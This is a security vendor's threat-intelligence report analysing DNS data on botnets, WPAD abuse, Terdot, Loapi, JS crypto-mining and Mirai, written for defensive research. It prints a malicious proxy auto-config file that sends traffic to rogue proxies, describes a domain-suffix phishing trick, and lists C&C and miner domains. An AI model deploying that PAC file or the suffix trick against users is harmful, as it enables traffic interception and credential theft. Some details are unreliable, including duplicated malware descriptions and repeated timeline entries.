Executive Summary

Welcome to the first State of the Internet / Security: Carrier Insights report for Spring 2018! This marks a number of milestone changes for our reporting and research since the Nominum team joined Akamai in November 2017.

Collaboration and data sharing are important topics in our report. Security in 2018 is a collaborative effort: No single solution and no single team has all the data, tools, or knowledge required to generate meaningful intelligence from the multitude of signals being recorded every second of every day. Increasingly, even the largest enterprises need to work with both peers and competitors to make sense of the data deluge.

Just as the security field is evolving, as our willingness to communicate as an industry is maturing, attackers are adopting some of the same tactics that make businesses successful. Several of the botnets we looked at have adopted a modular approach in their software and can have their capabilities easily enhanced. There is no rest for the weary defender.

We use the Mirai attacks of 2016 and 2017 in this report to highlight how important collaboration is to our defense. More recent events, like the memcached-driven DDoS attacks, demonstrate that interorganizational cooperation is only going to become more important over time. The problems we face are reaching scales no business can defend themselves from without help. Moreover, this contemporary scale of threats requires us to develop tools that minimize human intervention, and maximize artificial intelligence and machine learning.

The State of the Internet / Security: Carrier Insights, Spring 2018 draws from six months of data to cover the following topics:

**Collaboration is the Key to Success:** Our guest author is Megan Stifel, CEO of Silicon Harbor Consultants and former Director for International Cyber Policy on the National Security Council, who highlights the importance of cooperation and data sharing.

**Zero Day Domains:** Monitoring DNS requests from across the Internet allows us to identify new botnet command and control (C&C) structures as they arise.

**Malware Evolution:** The Loapi botnet shows us that malicious programmers are learning to write extensible code, while Terdot highlights how important social media credentials have become.

**Taking on Mirai:** Internal and external cooperation were vital in combating this threat.

Enjoy the report. If you have questions or feedback, please contact soti@akamai.com

Best,

Yohai Einav, Principal Security Researcher
Yuriy Yuzifovich, Head of Security Research
Table of Contents

INTRODUCTION
05
Layered Security
07  Collaboration is the key to success
08  Methodology
08  Threat tracker
08  Data
14  In-depth technical analysis of W-PAD
16  Geolocation distribution
16  Threats and preferred locations

EMERGING THREATS
19
The Only Constant is Change
19  Terdot: espionage in social network platforms
21  Loapi: mobile trojan goes beyond DDoS
24  JS Miner: a new business model for cryptocurrency mining

COLLABORATION IN ACTION
29
Taking on Mirai (and its vicious offshoots)
34  Automated credential abuse
35  Experiment
35  Results
36  Threats distribution
39  Carriers as active players in cloud defense

CONCLUSION
43
What’s next
INTRODUCTION

Layered Security

When we hear the term “Layered Security” we imagine multiple security solutions working in synchronization to mitigate the risk of data or resources breach. Visually, we imagine something like this:

What this image misses is one important thing: the layers don’t and can’t live in silos. Yes, each single layer can potentially block a certain type of attack, but more than that, and perhaps more important than that, it can generate a security insight. This insight can be instrumental for other layers to improve their security effectiveness, and this report will provide numerous examples for that. Insight sharing between layers has a twofold outcome — it makes the “security sum” greater than its parts, but it also makes each layer smarter and more resilient than it used to be.
Collaboration is the Key to Success

Megan Stifel, CEO, Silicon Harbor Consultants, former Director for International Cyber Policy on the National Security Council

The cybersecurity industry and its partners have been talking about information sharing and collaboration for a long time. There’s a reason for that: Information sharing is easy to talk about, but hard to make concrete, actionable, and effective. The reality is that sharing is often limited by cultural challenges, legal concerns, uncertain return on sharing, and difficulties in using the shared information. Companies must overcome these concerns and learn to share in order to promote greater security across the cyber ecosystem.

Although sharing data is important in its own right, information sharing and collaboration also build trust among organizations. The combination of shared data, collaboration, and increased trust strengthens collective defenses against adversaries, thereby promoting enhanced security across the cyber ecosystem. In most cases, we can’t fully predict how actions will affect adversaries, but we do know that working to make systems more secure and resilient will have an outsized impact on our adversaries’ ability to succeed. Finally, because certain parts of the Internet and cyber ecosystem, such as the DNS, affect everyone, securing it needs to be a communal effort; information sharing and collaboration are critical elements to enable that communal effort.

Companies often think that because they compete with each other, they can’t collaborate. On cybersecurity issues, many companies believe that sharing their valuable data will dull their competitive edge, and are reticent to work together to combat persistent threats. Yet, the truth is that no single company, on its own, can really be 100 percent effective in combating the security challenges we face.

The reason: No single company can combat all the cyber threats that exist today, because no single company can identify, detect, and protect against every possible type of malicious activity. Individual companies play different roles in the cybersecurity ecosystem, which is exactly why we need to combine their different insights, perspectives, and data to strengthen all of our defensive capabilities.

In turn, this emphasis on collaboration shifts the focus of competition on cybersecurity from “who has the most data” to “who makes the best use of the data.” From an ecosystem-wide point of view, information sharing will actually make companies more competitive on cybersecurity, as it drives them to use their data more effectively to focus on improving products and protecting their customers.

However, we must do more than share information and use this information tactically – companies must find ways to strategically collaborate. Collaboration better enables the disruption of malicious cyber actors by raising their costs and forcing them to invest in new infrastructure, procedures, and business models. Cybersecurity companies and other stakeholders should further collaborate on analysis that allows them to understand the adversaries’ plays for attacking systems. Once their plays are known, companies can develop better protections. Stakeholders should also work together to identify large-scale adversary campaigns and, when possible, collaborate on operations to stop them in real time. In the event of a significant cyber incident that may impact the global cyber ecosystem, cybersecurity companies can disrupt adversaries by working together to respond and recover.

Organizations like the Cyber Threat Alliance (CTA) enable members to act strategically through sharing threat information with one another, at speed and scale. Sharing timely, actionable, contextualized, and campaign-based intelligence can be used to improve products and services to better protect customers, more systematically disrupt adversaries, and elevate the security of the digital ecosystem. Together, companies can make cybersecurity information sharing a reality and raise the safety and security for everyone online.
Over the past two years, this report has preached the value of DNS data in improving overall protection against various types of cybercrime — DDoS, ransomware, IoT bots, banking Trojans, and mobile malware, just to name a few. However, in this issue we want to present an additional argument: The only thing better than DNS-based security is DNS-based security enriched with data coming from other security layers.

This report is evidence of the power of intraorganizational cooperation within Akamai, and the power it offers in creating enhanced intelligence. It’s a quantitative threat analysis, based on six months of data (September 2017 to February 2018), where we discuss the different threat trends we saw in the DNS data and interpret them. We define some key emerging threats that were identified in the data (Terdot Trojan, Loapi Android malware, and JS Bitcoin miner), and discuss the importance of this malware to the current and future threat landscape. Who thought that in 2018 our mobile devices would try to send malicious text messages on our behalf, a Trojan would steal our social network credentials to post status updates for us, and a visit to a website would turn our devices into cryptocurrency mining machines?

Since collaboration and information sharing are the main theme of this report, we would be remiss if we didn’t talk about Mirai. The research around the Mirai IoT botnet really highlights how collaboration can result in a quicker takedown of a malicious botnet. Same with credential abuse — a topic that was discussed in the Q4 2017 State of the Internet report. We’ll also discuss how carriers specifically can play an active role in cloud protection, while helping their subscribers have a safer Internet experience. This applies to improving protection against DDoS, as well as to reducing the overall number of bots in the network.
Finally, this report is a product of the transition from its authors being a Nominum team to being an Akamai team after the latter acquired the former in November 2017. The personal collaboration and data and idea sharing with our new (and much larger) home have been delightful, and the support we received from all corners of the company made the publication of this report possible. Data, algorithms, and machines are all important, but human communication still plays the most important part in making everything work.

Methodology

Akamai Security Research (or as we're now known in the company, “AkamAI” — nerdy pun intended) analyzes daily, weekly, and quarterly datasets to predict the next moves cybercriminals will take. The goal is to detect attack signals in the sea of DNS data and validate known attack types while simultaneously detecting new, unknown, and unnamed malicious activity. In addition to using commercial and public data sources, the team analyzes 100 billion queries daily from Nominum customers. Nominum works with more than 130 service providers in over 40 countries, resolving 1.7 trillion queries daily.

This sample represents approximately 3% of total global DNS traffic, generated by consumers and businesses worldwide.

Threat tracker

We introduced the Nominum Threat Tracker in the Fall 2016 Data Revelations Report — and will continue to build upon the Threat Tracker as part of Akamai. The tracker looks into activities, trends, and relationships among malicious domains, infected clients, and the queries generated by the infected clients. It provides a big-picture view and helps identify where the main threats lurk and where the next innovation is needed, all grounded in actual (big) data.

Data

This period’s threat tracker reveals two peaks of malicious activity — one between October 23 and November 1 (Peak 1), and a second between November 24 and December 14 (Peak 2). During these peaks, the number of malicious queries reached more than 175K per day, compared to a median of less than 100K malicious queries per day for the entire period.
INTRODUCTION

Threat Tracker

SPRING 2018

DEC 2017

NOV 2017

OCT 2017

JAN 2018

FEB 2018

SEPT 2017

QUERIES (IN MILLIONS)

DOMAINS (IN THOUSANDS)

14 Trillion

Total query volume

48.7 Million

Total clients with at least a single blocked query

18 Billion

Total queries blocked

404.9 Million

Avg. unique domains/day

10.3 Million

Avg. blocked clients/mo.

Sept ’17 – Feb ’18

Analysis time frame
The reasons behind each of the peaks were quite different. Peak 1 was caused by a high number of newly detected, zero day malicious domains, while Peak 2 was driven by a specific Man-in-the-Middle web proxy threat.

Zero day domains, grouped in zero day clusters, are the result of analysis done in our research labs. Zero day clusters are formed from domains that we'd never seen queried before and share similar malicious characteristics and behaviors. Our unsupervised Domain2Vec clustering algorithm attempts to match these clusters' behaviors to those of known malware families. When they succeed, zero day clusters are instantly categorized according to the malware family. When they don't find a known family for a cluster, the domains retain their zero day tag, which still declares them as unknown bad domains that should be blocked.

1. We saw a very high volume of new `.ru`, 7-characters names in our data. What are they?
2. These new `.ru` domains form Domain2Vec clusters, with a few additional names; these clusters see a high traffic rate 7 days after being detected.
3. Apparently, someone is trying to hide something; perhaps the outliers within the same cluster are the true malicious C&C domains that the attackers want to hide?
4. Two months later, a discussion appears on github¹, with reverse engineering of a new DorkBot DGA. And guess what? All new domains match the pattern of this new DGA.

¹ https://github.com/360netlab/DGA/issues/36#issuecomment-350660012
During the period Peak 1 was active, the number of zero day domains increased by nearly 60% over the period preceding it, reaching an average of 109,000 unique domains per day (for comparison, the average number of unique domains per threat per day in the entire dataset is 786).

When we dug deeper into the zero day domains that caused the spike, we noticed that the majority of them (which were detected in October) were later classified as Dorkbot botnet C&C domains. How did that happen? Our initial assessment of the traffic was confusing, but domains discovered in December allowed us to identify and name the threat. The entire discovery and thought process is described above.

“New information about the domains was discovered in December, which turned unknown threats into known, and named threats.”
The second, longer peak, which started on November 24 and lasted until December 14, was caused by Web Proxy Auto-Discovery (WPAD). WPAD is a protocol that allows computers in a local network to automatically discover which web proxy they should use. The web proxy is defined through a JavaScript file called proxy auto-config (PAC). The risk posed by the WPAD protocol is that attackers can abuse it to discover the location of the PAC file on a local machine. With this information, attackers can then replace it with an “alternative” PAC file, which specifies a rogue web proxy address under the attacker’s control. When that occurs, all communication from the device can be intercepted and modified (including encrypted HTTPS traffic). In other words, WPAD opens the door for a Man-in-the-Middle attack.
However, when attackers attempt to use WPAD, they will first need to generate a sequence of special queries against the DNS servers set up in the network. Fortunately, our algorithms can identify queries and block them automatically. Without the response from these queries, the attackers cannot receive the location of the PAC file; as a result, their hacking attempt fails.

During the Peak 2 period, the number of attempts to abuse WPAD soared to over 72M queries per day, coming from more than 1M unique client IPs worldwide.

“...The solutions offered by DNS can protect a large population of internet users from getting infected or becoming active participants in a botnet.”
WPAD, or Web Proxy Auto-Discovery, is a protocol on Microsoft Windows that automatically configures proxy servers on the system. Since a proxy is the intermediary server that stands between a local client and the Internet, it could, if compromised, be used as a “Man in the Middle.” This means the proxy can intercept, filter, or modify all users’ traffic. For that reason, you want to be certain it is benign before sending any traffic through it.

What is the problem we see?

Many home gateways, modems, and customer-provided equipment (CPEs) come configured with domain.name as their default domain suffix in the DHCP server. Windows machines are configured to automatically get proxy settings by requesting a file hosted on the URL http://wpad.<default domain suffix>/wpad.dat. If your gateway has the above defaults, it means you transparently download the following file and run the configuration script found in it:

```javascript
function FindProxyForURL(url, host) {
    if (isPlainHostName(host) || dnsDomainIs(host, "windowsupdate.com") ||
        dnsDomainIs(host, "microsoft.com") ||
        dnsDomainIs(host, "baidu.com") ||
        dnsDomainIs(host, "kaspersky.com") ||
        dnsDomainIs(host, "live.com") ||
        isInNet(host, "10.0.0.0", "255.0.0.0") ||
        isInNet(host, "172.16.0.0", "255.255.224.0") ||
        isInNet(host, "192.168.0.0", "255.255.0.0") ||
        isInNet(host, "127.0.0.0", "255.0.0.0"))
        return "DIRECT";
    else
        return 'PROXY 23.111.166.114:8080; PROXY 185.93.3.120:8080';
}
```

This is a direct application of the WPAD Name Collision Vulnerability outlined in TA16-144A. Since this vulnerability was published, the wpad.dat file has been removed,
possibly in an attempt to be unlisted from the numerous lists the domain is now on, but there are reasons why it should not be removed. It can be argued that there really is no good, non-malicious reason for the domain to be available considering the potential for collateral damage. Fortunately, the owners of the domain did not walk the straight and narrow for very long: The domain is also being used for other malicious activity corroborated by several security vendors, so there is no need to be philosophical about blocking it. Based on our data, the WPAD domain is queried roughly 25 million times per day by at least 240,000 clients.

The core domain domain.name, is problematic not only because it is frequently being inadvertently configured as default suffix, but other reasons as well. For instance, the domain isatap.domain.name is registered. Currently it is inactive; however, should the owner decide to publish a DNS record for the domain and point it at a server that is configured to be an ISATAP router, this would create a flat IPv6 network from all the nodes accessing the domain name. The ISATAP interface is configured by default in Microsoft Windows as a transitional measure for IPv6. It is not meant to be available outside a corporate network (as is WPAD), since the DNS entry (and the router) is all that is needed for the network to be created — on the client side, it is fully transparent and automatic, with no authentication by or notification to the user. The ISATAP domain is queried about 5 million times per day by at least 60,000 clients.

Another reason is that all queries sent to the recursive resolver will be queried both with and without the suffix domain.name. A query for facebook.com will be sent both as facebook.com and facebook.com.domain.name. Since the client will use whatever response comes back first, this has great potential for a new kind of phishing where the real domain query (occasionally) gets an answer from a malicious name server. You can increase the rate of “occasionally” by making sure the authentic server is busy. It comes as no surprise that most top-level domains (TLDs) have been registered as subdomains to domain.name, and at registrars known for providing domains to malicious actors. There are 12.7 million unique such domains in our data, and only 1,500 of those actually resolve. The domains that do resolve, however, are in two distinct categories: malicious subdomains (for instance, hgresflcb.eu.domain.name) and very high-value domains (both graph.facebook.com.domain.name and www.google.com.domain.name resolve).
Geolocation distribution

While attackers are usually indifferent to the location of their C&C hosting, the U.S. is almost always the leader in C&C server count and the malicious queries made to these servers. Between September 2017 and February 2018, the U.S. accounted for 52.5% of the queries to C&C servers, and 55.8% of the IPs used as C&C hosting servers. The common reason for the U.S. continuous leadership in this area is because the U.S. is home to the largest hosting companies in the world, so this phenomenon is no more than a representative statistical correlation.

Yet things are changing.

As Internet services spread, new hosting services emerge, and the number of Internet users grows, the more likely we are to see the distribution of C&C hosting becoming less U.S.-centric. An early indicator for this in our data is the rise of China, which emerged as the runner-up in the C&C hosting category with 2.5% of the hosting servers and 12% of malicious queries. As a result, China moved up three places compared to our previous report.

Threats and preferred locations

The five threats we observed were focused on specific countries and hosting companies. This suggests that attackers made an informed decision on where to build their C&C infrastructure:

**GhostPush**, an android malware, had almost 70% of its C&C servers hosted on AWS, and the other 30% on the much smaller Linode hosting service.

**Dorkbot**, a large botnet driven by the Dorkbot worm, has 85% of its traffic going through C&C hosted on the servers of Russian telecom Rostelecom. U.S. telecom Sprint was used to host an additional five C&C servers, yet only 7.5% of the traffic was going through them.

**Xavier**, a malicious ad library (which we discussed in our previous report), and which affects Android applications and devices, is using Google Cloud almost exclusively for C&C hosting.

**HummingBad**, a malicious ad library (which we discussed in our previous report), and which affects Android applications and devices, is using Google Cloud almost exclusively for C&C hosting.

**Ramnit** banking Trojan uses St. Petersburg’s Nevacom hosting services, and 32.4% of its traffic goes through its Russian C&C servers. Other C&C servers are hosted on YHC Corporation servers out of Austin, Texas, where we see 17.6% of the Trojan’s traffic.
Fig. 6  World distribution of queries

Top 5 Countries by Query Count
01. United States
02. China
03. France
04. Poland
05. Switzerland

Fig. 7  United States distribution of queries

Top 5 States by Query Count
01. Washington
02. California
03. Georgia
04. Virginia
05. Illinois
EMERGING THREATS

The Only Constant is Change

What qualifies a threat to be categorized an “emerging threat”? Usually it’s a quantitative assessment, where a certain malware strain sees a certain spike in popularity. In reality, this quantitative measurement doesn’t always mean much; it could mean that the threat is new (and therefore popular), but not novel. That being said, perhaps a qualitative measurement of novelty and innovation is what commands the most attention when we discuss “emerging threats.” In this section, we focus on several emerging threats that are novel, innovative, and likely to inspire copycat malware in the near future. Because of this, even if their current impact on our cyber-well-being is marginal, their long-term influence on cybercrime evolution has the potential to be significant.

Terdot: espionage in social network platforms

Financial Trojans used to target our money. They’ve now moved on to collecting data from our social interactions — a less-protected but still valuable target.

Terdot is a distant offshoot of the financial Trojan Zeus. Its capabilities originally allowed attackers to collect and modify financial information, but the Terdot branch collects any type of information that passes through the web browser. When a victim opens a Terdot dropper (usually delivered through a phishing email in what seems to be a PDF file), it creates a local proxy server and forces all browser connections to go through it. This means that any communication from and to the browser is inspected and potentially collected or altered by the malicious proxy before being served to the victim. Therefore, the attacker can view and modify almost any desired, high-value activity of the victim: Online banking logins, email services, and — most recently — social network activity.

Bitdefender Labs were the first to analyze this malware and reported that the targets in its source code included a list of the usual suspects (mostly major Canadian banks), but also social network platforms — Facebook, Twitter, Google Plus, YouTube, and vk.com (Russia’s largest social network platform).

The outcomes of a social network credential theft are very different from a financial theft. Rather than using it to steal money, it can be used for cyber-espionage (a passive approach)

or promoting sponsored or unsubstantiated news and opinions (a proactive approach). This is a troubling, though not completely unexpected, development.

The Terdot data that we see is the result of attempts of the malware to upload the collected information from the infected device to the attacker and receive additional commands. Monitoring the C&C commands allows us to detect this traffic in real time and block it, preventing the infected user’s information from getting into the wrong hands.

Terdot activity in our data was very intensive in late November and early December 2017. Over the course of four days, we detected approximately 40,000 queries to known Terdot C&C servers. In comparison, we had previously seen an average of fewer than 1,000 queries throughout the lifetime of this threat. Overall, 32 distinct domains were used as C&C servers for Terdot. The most popular domains are listed below:

<table>
<thead>
<tr>
<th>C&amp;C Domain</th>
<th>Queries</th>
<th>Infected Devices</th>
</tr>
</thead>
<tbody>
<tr>
<td>piroco.com</td>
<td>3434</td>
<td>578</td>
</tr>
<tr>
<td>pirococo3.com</td>
<td>2386</td>
<td>229</td>
</tr>
<tr>
<td>pirococo2.com</td>
<td>2378</td>
<td>242</td>
</tr>
<tr>
<td>cxqytmtflyj.click</td>
<td>2089</td>
<td>13</td>
</tr>
<tr>
<td>ubyrttgrdf.bid</td>
<td>1747</td>
<td>115</td>
</tr>
<tr>
<td>dayspirit.at</td>
<td>1166</td>
<td>116</td>
</tr>
</tbody>
</table>

As seen in the chart, the traffic spikes, with days of high activity that quickly drops to nearly zero activity. The two most likely conclusions are: 1.) the spam campaign that spread
Terdot was short lived because it was ultimately blocked by email security tools, or 2.) this was a "spear attack" that attempted to get to certain devices or certain individuals. In either case, it’s very likely we will hear back from this threat and its offshoots soon.

Loapi: mobile trojan goes beyond DDoS

Trojans designed specifically to target mobile devices, particularly Android-OS devices, are quite common. We’ve discussed the popular GhostPush and WireX in previous reports, and Akamai has actually played an important role in the collaborative effort of taking WireX down⁴. Yet most mobile malware we’ve seen and discussed in the past was designed to perform a specific malicious activity. Loapi, a new Trojan we’ve seen grow rapidly in recent months, is the Swiss Army knife version of mobile malware.

Loapi can do almost anything: It can participate in a DDoS attack, it can mine cryptocurrencies, send malicious SMS, use the device as an HTTP proxy, and even display unwanted advertisements on an infected device. It’s **modular malware**, so additional capabilities can be downloaded to an infected device once the initial control is established⁵.

The one thing that Loapi can’t do is operate without creating a network signal. Loapi’s communication with its master is performed through C&C servers, and it can be monitored and blocked because of that. From December through February, we monitored a flurry of DNS requests made from infected devices to Loapi C&C servers:

![Graph showing queries and unique clients traffic to Loapi C&C servers](Fig. 9)

---


⁵ For more information, see Kaspersky Lab’s analysis: https://securelist.com/jack-of-all-trades/83470/
Beyond displaying ads, [the advertisements] module turns the infected device into a click-bot, an imperative part of ad-fraud ecosystem."

To better understand the Loapi phenomenon, we examined the behavior of its top C&C domains over a period of two weeks (February 14-28). Based on Kaspersky Lab’s analysis, each one of the C&C domains is dedicated for serving a specific module of the Trojan:

<table>
<thead>
<tr>
<th>Domain</th>
<th>Module</th>
<th>Queries</th>
<th>Clients</th>
</tr>
</thead>
<tbody>
<tr>
<td>mp-app.info.</td>
<td>proxy module</td>
<td>10,564,570</td>
<td>372,300</td>
</tr>
<tr>
<td>ronesio.xyz.</td>
<td>advertisement module</td>
<td>3,938,413</td>
<td>214,092</td>
</tr>
<tr>
<td>api-profit.com.</td>
<td>SMS module and mining module</td>
<td>352,439</td>
<td>16,413</td>
</tr>
</tbody>
</table>

We can see that the most popular module is the proxy module, contained in the core of the malware since it enables the communication with the attacker. The second most popular is the advertisement module. Beyond displaying ads, this module turns the infected device into a click bot, an imperative part of an ad-fraud ecosystem.

Analysis of the domains used to download the malware and its modules provides a more complete picture. We first identified the top most active sites:

- a2017-security.com
- antivirus-out.net
- highspeard.eu
- lilybrook.ru
- pornolub.xyz

Next, we selected 90 devices that queried both a download site and a C&C server and analyzed the permutations of the different domain queries. This analysis reveals the common behaviors of a device infected with Loapi. Here are the top permutations:

```
A2017-SECURITY.COM  ANTIVIRUS-OUT.NET  HIGHSPREAD.EU  LILYBROOK.RU
```

Modular malware is a threat that has existed for fixed devices for a while. Stopping this threat in the mobile context is not an easy task, and it requires a joint effort among mobile phone manufacturers, mobile security vendors, and network security vendors. Data and knowledge-sharing across these sometimes-competing entities will determine the success of this effort.
JS Miner: a new business model for cryptocurrency mining

It’s been an interesting year for cryptocurrencies. We followed in fascination the meteoric rise of Bitcoin over the past year, going from a price of $1,000 per token in February 2017 to nearly $20,000 in December 2017, and then falling back to $10,000 in February 2018.

The media provided heavy coverage for all the great success and failure stories of Bitcoin investors and used Warren Buffett’s take on it hundreds of times.

The sharp rise in the price of cryptocurrency led to a sharp increase in the number of crypto-mining malware strains, and the number of devices infected with them. Think of an Economics 101 class: A higher currency rate makes the return on investment better, which provides a great incentive for attackers to invest in crypto-mining malware. In this section, we’ll reveal the DNS footprint of crypto-miners, and discuss if and how we, as security vendors, want to handle them.

There are two “business models” when it comes to large-scale crypto-mining:

1. The first model of crypto-mining malware uses infected devices' processing power to mine cryptocurrency tokens. “Mining” in the cryptocurrency context is solving mathematical operations to unlock new units of cryptocurrency, which requires computational processing power. The more devices utilized to mine tokens, the more tokens that can be mined. Devices with stronger processing power mine faster and shorten the path to cryptocurrency fortunes. The underlying premise of a malicious crypto-fortune seeker: The cheapest way to obtain computational power for crypto-mining is through using devices that are not yours, which makes it cost efficient. For that reason, using botnets, or compromised devices, is one crypto-miner’s business model of choice.

2. A second business model of crypto-mining is built around sites that host mining software. These sites are embedded into content sites using a JavaScript code, which turns the devices of visitors into “workers” in a crypto-mining factory. This model is considered a gray area for malicious crypto-mining activity. Nobody is forcing the content sites to embed the crypto-mining JavaScript (JS) code, and visitors to the content site are often informed their device is about to be used for crypto-mining. Just like signing a software EULA, users often accept the code without understanding what it will do. This is an alternative website monetization option that can be used to replace web advertisements. At the same time, this is still shady behavior. It only happens today in non-mainstream websites, and it appears these sites aren’t always aware of hosting the crypto-miner JS code.
Fig. 14  Google trends - Bitcoin in the news

Fig. 15  Google trends - Warren Buffett quoted on Bitcoin

https://trends.google.com/trends/explore?q=bitcoin
The analysis we performed for this report focused on the second business model (usually referred to as “JS mining”) because it poses a new security challenge for users and website owners alike. The goals of the analysis were to identify the crypto-miner domains, and detect the traffic to any site that uses them for crypto-mining.

**Step 1 - Seed list:** To discover sites that host a JS miner, we started with a list of known miner hosting domains. We used an existing GitHub repository\(^7\) that includes thousands of domains for our research and filtered out only the most active domains. Here are the top ones:

- authedmine.com
- coin-have.com
- coin-hive.com
- coinhive.com
- coinimp.com
- crypto-loot.com
- cryptoloot.pro
- load.jsecoin.com
- p.hemnes.win
- webmine.pro
- www.freecontent.bid
- www.hashing.win
- www.webassembly.stream

**Correlation Model Elaborated**

Our machine intelligence model builds a deep neural network from the DNS query sequences, received from multiple global ISPs, and learns the correlation among domain names (FQDNs and core domains) by maximizing the co-occurrence probability of domains within the same sequence. If two domains frequently appear in the same query sequence, the model assigns a higher correlation score.

**Step 2 - Correlation model:** We ran our Domain2Vec model to detect recently created domains that are strongly correlated to a “seed” miner domain. Without going into the fine details of Domain2Vec, the correlation is based on the subtle relations between domains and the client IPs that query them. It then clusters together groups of domains with similar querying characteristics. A domain that is strongly correlated with one (or multiple) JS miner domains might be either a JS miner-injected domain, or a new JS miner domain. We later use additional features to distinguish between the two options.

To establish the correlation strength between seed JS miner domains and new domains, we use the notion of correlation duration length; the longer we see a consistent correlation over time, the stronger our confidence in it is. We also look at the number of seed domains and FQDNs that are correlated with the evaluated domain, where a higher count indicates a higher confidence. Here are examples for evaluated domains that established high correlation scores:

<table>
<thead>
<tr>
<th>C&amp;C Domain</th>
<th>Infected Devices</th>
<th>Queries</th>
</tr>
</thead>
<tbody>
<tr>
<td>adserve.adpulse.ir.</td>
<td>11</td>
<td>28</td>
</tr>
<tr>
<td>barbiedoll.site.</td>
<td>38</td>
<td>83</td>
</tr>
<tr>
<td><a href="http://www.topsiteguide.com">www.topsiteguide.com</a>.</td>
<td>26</td>
<td>47</td>
</tr>
<tr>
<td>wmseries.at.ua.</td>
<td>14</td>
<td>62</td>
</tr>
<tr>
<td>themadvlad.com.</td>
<td>38</td>
<td>66</td>
</tr>
<tr>
<td>go.spaceshipads.com.</td>
<td>39</td>
<td>69</td>
</tr>
<tr>
<td>postto.me.</td>
<td>44</td>
<td>51</td>
</tr>
</tbody>
</table>

\(^7\) [https://github.com/ZeroDot1/CoinBlockerLists](https://github.com/ZeroDot1/CoinBlockerLists)
In addition to looking at the duration of a correlation, we observed the traffic pattern to the evaluated domains. Overall, we noticed three types of domains, categorized by their traffic behaviors, that are more likely to be affected by a JS miner code:

**URL shorteners and redirectors:** traffic to these domains tend to have high number of unique visits, with short duration (5-10 seconds) per each visit.

**Adult content sites:** traffic to these domains is less frequent, however the duration of stay is much longer – around 10 minutes per visit.

**Ad networks:** we observed many ad networks FQDNs correlated to seed JS mining, with an average visit time of 10 seconds or less.

Could this type of cryptocurrency mining model become a mainstream monetization alternative? Apparently, this is already happening. Starbucks’ rewards site in Argentina used it in September 2017, and traces of a crypto-mining code were found in Showtime’s website, which led to speculation that the channel was testing it as supplement to advertising monetization.

At the end of the day, mainstream adoption of legal crypto-mining would be determined by two things: the economic value of cryptocurrencies and finding a solution for the security risks crypto-mining carries. As long as cryptocurrencies maintain their current value, and once a “certified” crypto-mining system is established, we’re more than likely to see crypto-mining emerge as an alternative (or supplement) to advertising.

---

*C&C Domain (cont.)*

<table>
<thead>
<tr>
<th>C&amp;C Domain</th>
<th>Infected Devices</th>
<th>Queries</th>
</tr>
</thead>
<tbody>
<tr>
<td>galleriess.wtfpass.com.</td>
<td>12</td>
<td>42</td>
</tr>
<tr>
<td>s4is.histats.com.</td>
<td>42</td>
<td>86</td>
</tr>
<tr>
<td>distero.com.</td>
<td>34</td>
<td>84</td>
</tr>
<tr>
<td><a href="http://www.fortstore.net">www.fortstore.net</a>.</td>
<td>36</td>
<td>58</td>
</tr>
<tr>
<td>s1.slimtrade.com.</td>
<td>44</td>
<td>46</td>
</tr>
<tr>
<td>static-cdn.anetwork.ir.</td>
<td>10</td>
<td>53</td>
</tr>
<tr>
<td>kingfin.com.</td>
<td>6</td>
<td>46</td>
</tr>
<tr>
<td>jumboporn.xyz.</td>
<td>30</td>
<td>79</td>
</tr>
<tr>
<td><a href="http://www.10khits.com">www.10khits.com</a>.</td>
<td>19</td>
<td>59</td>
</tr>
<tr>
<td>s6.uplod.ir.</td>
<td>43</td>
<td>77</td>
</tr>
<tr>
<td>clkmein.com.</td>
<td>31</td>
<td>93</td>
</tr>
<tr>
<td>fivestarpornsites.com.</td>
<td>43</td>
<td>92</td>
</tr>
</tbody>
</table>

---

8 [https://twitter.com/imnoah/status/936948776119537665](https://twitter.com/imnoah/status/936948776119537665)

COLLABORATION IN ACTION

Taking on Mirai (and its vicious offshoots)

It’s been 18 months since Mirai entered our lives, and it’s not going away anytime soon. This section tells the story of collaboration between two teams and two types of data, which contributed to the discovery of new Mirai C&C domains. While the threat posed by the original Mirai botnets has been dealt with in large part, many of the components that made the malware so successful have been adopted by other malicious developers.

Mirai and other recent threats provide vivid illustrations of the tug of war between defenders and attackers. New vulnerabilities and new ways of exploiting known vulnerabilities are constantly searched for by our adversaries. Each discovery represents a pool of potential they can use to attack and defenders must adapt. The initial boost in attack capabilities is followed by a long tail of a shrinking threat, so malware and botnet authors begin the search anew and the cycle continues.

Akamai’s information security team has been following Mirai from its initiation. Using honeypots, they were able to detect Mirai communications and identify its C&C servers. In late January 2018, InfoSec shared with our team a list of over 500 suspicious Mirai C&C domains, collected through the honeypots. The goal of this collaboration was to see if, using DNS data and artificial intelligence, this list of C&C domains could be augmented, making future Mirai detection more comprehensive.

“Akamai’s InfoSec team has been following Mirai from its initiation; using honeypots, they were able to detect Mirai communications and identify its C&C servers.”
Fig. 16  Mirai major event timeline

2016

08.01.2016  Mirai Surfaces
09.18.2016  OVH attacks
09.30.2016  Mirai source code released
09.21.2016  Krebs on security peak attack
10.21.2016  Dyn attacks
10.31.2016  Liberia Lonestar attack
09.18.2016  OVH attacks
09.30.2016  Mirai source code released
09.21.2016  Krebs on security peak attack
10.21.2016  Dyn attacks
10.31.2016  Liberia Lonestar attack

Fig. 17  The majority of Mirai C&C traffic went to a very few domains
The first step of the analysis was to see what footprint the shared C&C domains had in the DNS data, around the reporting period. Figure 17 presents the traffic to selected domains.

The first observation from the graph above is that the traffic to these C&C domains is bot generated. Similar cycles of queries, in both frequency and volume, strongly suggest an automated query process — a symptom of a botnet. The number of bots, or distinct Mirai-infected devices, was less than 600 in our sample dataset. Most of the bots queried a single Mirai C&C domain, while some queried more than 10 different C&C domains.

After reviewing the traffic, the next step was to identify correlation between the domains in the dataset. A strong correlation validates the assumption that the domains are indeed being used by the same botnet. It would also allow us to group the domains by clusters, where each cluster represents a certain group of infected IoT devices. This can later help pinpoint the attacker.

“
A strong correlation [between domains] would validate the assumption that the domains are indeed being used by the same botnet.”
To perform the correlation we used our Domain2Vec model, which generated interesting results.

In the graph to the right, each node (in yellow) is a Mirai C&C domain (with query type A), and the edge weight is the correlation score between two nodes. As can be seen, all the domains in the graph have strong correlation (0.93 and above) to each other. This shows that they represent a cluster, and belong to the same group.

Other than identifying groups, the clustering process helps us exclude outliers — domains that don’t have a high correlation score to any known node. This means that they are not likely to be Mirai C&Cs (though they may still be malicious in nature). The correlation and clustering process gives us a visual map that helps identify and exclude several domains not associated with the Mirai botnet.

